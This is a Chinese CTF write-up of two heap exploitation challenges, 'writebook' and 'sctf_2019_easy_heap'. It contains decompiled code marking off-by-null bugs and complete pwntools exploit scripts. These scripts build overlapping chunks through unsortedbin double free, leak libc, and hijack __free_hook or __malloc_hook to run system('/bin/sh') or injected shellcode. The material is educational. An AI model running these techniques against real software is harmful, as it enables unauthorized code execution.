堆利用之off by null构造堆重叠(unsortedbin的double free)

深育杯的 writebook

主要函数

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
unsigned __int64 sub_ABC()
{
unsigned int v0; // ebx
unsigned int v1; // ebx
unsigned int size; // [rsp+Ch] [rbp-24h] BYREF
int size_4; // [rsp+10h] [rbp-20h] BYREF
unsigned int i; // [rsp+14h] [rbp-1Ch]
unsigned __int64 v6; // [rsp+18h] [rbp-18h]

v6 = __readfsqword(0x28u);
for ( i = 0; i <= 19 && chunk_addr[2 * i]; ++i )
;
if ( i == 20 )
{
puts("Buy a new book");
}
else
{
puts("1. Write on one side?");
puts("2. Write on both sides?");
while ( 1 )
{
while ( 1 )
{
printf("> ");
__isoc99_scanf("%d", &size_4);
if ( size_4 == 1 )
break;
if ( size_4 != 2 )
return __readfsqword(0x28u) ^ v6;
printf("size: ");
__isoc99_scanf("%d", &size);
if ( size > 0x10F )
{
if ( size <= 0x1E0 )
{
v1 = 2 * i;
chunk_addr[v1] = malloc(size);
if ( !chunk_addr[2 * i] )
goto LABEL_20;
LABEL_11:
chunk_addr[2 * i + 1] = size;
printf("page #%d\n", i);
return __readfsqword(0x28u) ^ v6;
}
puts("can you not write that much?");
}
else
{
puts("don't waste pages -.-");
}
}

edit

off by null

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 sub_E1D()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Page: ");
__isoc99_scanf("%d", &v1);
printf("Content: ");
if ( v1 <= 19 && chunk_addr[2 * v1] )
sub_D6C(chunk_addr[2 * v1], (unsigned int)chunk_addr[2 * v1 + 1]);//off by null
return __readfsqword(0x28u) ^ v2;
}

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Page: ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 19 && chunk_addr[2 * v1] )
{
free((void *)chunk_addr[2 * v1]);
chunk_addr[2 * v1] = 0LL;
}
return __readfsqword(0x28u) ^ v2;
}

show

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Page: ");
__isoc99_scanf("%d", &v1);
printf("Content: ");
if ( v1 <= 19 && chunk_addr[2 * v1] )
puts((const char *)chunk_addr[2 * v1]);
return __readfsqword(0x28u) ^ v2;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import*
context.log_level = 'debug'
#p = process('./main')
p = remote('192.168.38.158','2002')

elf = ELF('./main')
libc = ELF('./libc.so.6')

def add1(size):
p.sendlineafter('>','1')
p.sendlineafter('>','1')
p.sendlineafter(':',str(size))

def add2(size):
p.sendlineafter('>','1')
p.sendlineafter('>','2')
p.sendlineafter(':',str(size))

def edit(page,con):
p.sendlineafter('>','2')
p.sendlineafter(':',str(page))
p.sendlineafter(':',con)

def show(page):
p.sendlineafter('>','3')
p.sendlineafter(':',str(page))

def dele(page):
p.sendlineafter('>','4')
p.sendlineafter(':',str(page))

add1(0xf0)#0
add1(0xf0)#1
add1(0xf0)#2
add1(0xf0)#3
add1(0xf0)#4
add1(0xf0)#5
add1(0xf0)#6
add1(0xf0)#7 d
add1(0x38)#8
add1(0xf0)#9
add1(0xf0)#10
for i in range(8):
dele(i)
add1(0)#0 进入unsortedbin泄露地址
show(0)
libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))+0x7f797bec98e8-0x7f797c2b5678

edit(8,'a'*0x30+p64(0xe0+0x40))
dele(9)
add1(0xd8)#1
edit(1,'/bin/sh\x00')
add1(0x38)#2
add1(0x30)#3
dele(3)#为了让0x40大小的tcabin多一个chunk以申请出free_hook
dele(8)#2与8重叠
edit(2,p64(libcbase+libc.sym['__free_hook']))#将free_hook写入tcabin
print("libc:"+hex(libcbase+libc.sym['__free_hook']))
add1(0x38)#3
#gdb.attach(p)
add1(0x38)#4
edit(4,p64(libcbase+libc.sym['system']))#将free_hook改为system
dele(1)

'''
chunk 0x000000000202060
'''
p.interactive()

sctf_2019_easy_heap

主要函数

sub_CD0

main 最开始给的函数

mmap 了一段很大的内存,并给出了它的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 sub_CD0()
{
int fd; // [rsp+4h] [rbp-1Ch]
unsigned __int64 buf; // [rsp+8h] [rbp-18h] BYREF
void *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(chunk_addr, 0, 0x80uLL);
fd = open("/dev/urandom", 0);
buf = 0LL;
read(fd, &buf, 5uLL);
buf &= 0xFFFFFFF000uLL;
close(fd);
v3 = mmap((void *)buf, 0x1000uLL, 7, 34, -1, 0LL);
printf("Mmap: %p\n", v3);
count[0] = 0;
sub_CBD();
return __readfsqword(0x28u) ^ v4;
}

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int sub_F89()
{
unsigned int i; // [rsp+Ch] [rbp-14h]
void *v2; // [rsp+10h] [rbp-10h]
unsigned __int64 size; // [rsp+18h] [rbp-8h]

for ( i = 0; chunk_addr[2 * i + 1]; ++i )
;
if ( i > 0xF )
return puts("No more space.");
printf("Size: ");
size = sub_EE5();
if ( size > 0x1000 )
return puts("Invalid size!");
v2 = malloc(size);
if ( !v2 )
{
perror("Memory allocate failed!");
exit(-1);
}
chunk_addr[2 * i + 1] = v2;
chunk_addr[2 * i] = size;
++count[0];
return printf("chunk at [%d] Pointer Address %p\n", i, &chunk_addr[2 * i + 1]);
}

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int sub_10C2()
{
_DWORD *v0; // rax
unsigned int v2; // [rsp+Ch] [rbp-4h]

printf("Index: ");
v2 = sub_EE5();
if ( v2 <= 0xF && *((_QWORD *)&chunk_addr + 2 * v2 + 1) )
{
free(*((void **)&chunk_addr + 2 * v2 + 1));
*((_QWORD *)&chunk_addr + 2 * v2 + 1) = 0LL;
*((_QWORD *)&chunk_addr + 2 * v2) = 0LL;
v0 = count;
--count[0];
}
else
{
LODWORD(v0) = puts("Invalid index.");
}
return (int)v0;
}

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]

printf("Index: ");
v1 = sub_EE5();
if ( v1 > 0xF || !chunk_addr[2 * v1 + 1] )
return puts("Invalid index.");
printf("Content: ");
return my_read(chunk_addr[2 * v1 + 1], chunk_addr[2 * v1]);
}

//其中的 my_read 函数
unsigned __int64 __fastcall sub_E2D(__int64 a1, unsigned __int64 a2)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
if ( read(0, &buf, 1uLL) <= 0 )
{
perror("Read failed!\n");
exit(-1);
}
if ( buf == '\n' ) //遇到回车不读入
break;
*(_BYTE *)(a1 + i) = buf;
}
if ( i == a2 ) //off by null
*(_BYTE *)(i + a1) = 0;
return __readfsqword(0x28u) ^ v5;
}

没有 show 函数

思路和exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import*
context.log_level = 'debug'
context.arch = 'amd64'
p = process('./main')
#p = remote('node4.buuoj.cn',29502)

def add(size):
p.sendlineafter('>>','1')
p.sendlineafter(':',str(size))

def dele(idx):
p.sendlineafter('>>','2')
p.sendlineafter(':',str(idx))

def edit(idx,con):
p.sendlineafter('>>','3')
p.sendlineafter(':',str(idx))
p.sendlineafter(':',con)

rwx = 0x32b3060000

p.recvuntil('0x')
mmap = int(p.recv(10),16)
print("mmap: " + hex(mmap))

add(0x410)#0
add(0x68)#1
add(0x4f0)#2
add(0x68)#3

dele(0)#unsortedbin
edit(1,'a'*0x60+p64(0x490))
dele(2)#overlap

add(0x410)#0
add(0x68)#2 2alloc == 1alloc

dele(3)#为了之后能add到mmap
dele(1)#uaf 此时构成了一个循环 1->2->1
dele(2)#uaf

add(0x68)#1
edit(1,p64(mmap))
add(0x68)#2 2alloc == 1alloc
add(0x68)#3 mmap

shellcode = asm(shellcraft.sh())
edit(3,shellcode+'\n')# shellcode写入mmap

#再触发一次 unsortedbin double free 劫持 malloc_hook
add(0x4f0)#4
dele(0)
edit(1,'a'*0x60+p64(0x490))
dele(1) #1free==2allc
dele(4)

add(0x410)#0 切割unsortedbin 使 malloc_hook 链入
edit(2,'\x30\n')#edit to malloc hook
add(0x68)#1
add(0x68)#4 malloc_hook
edit(4,p64(mmap))
add(0x68)

p.interactive()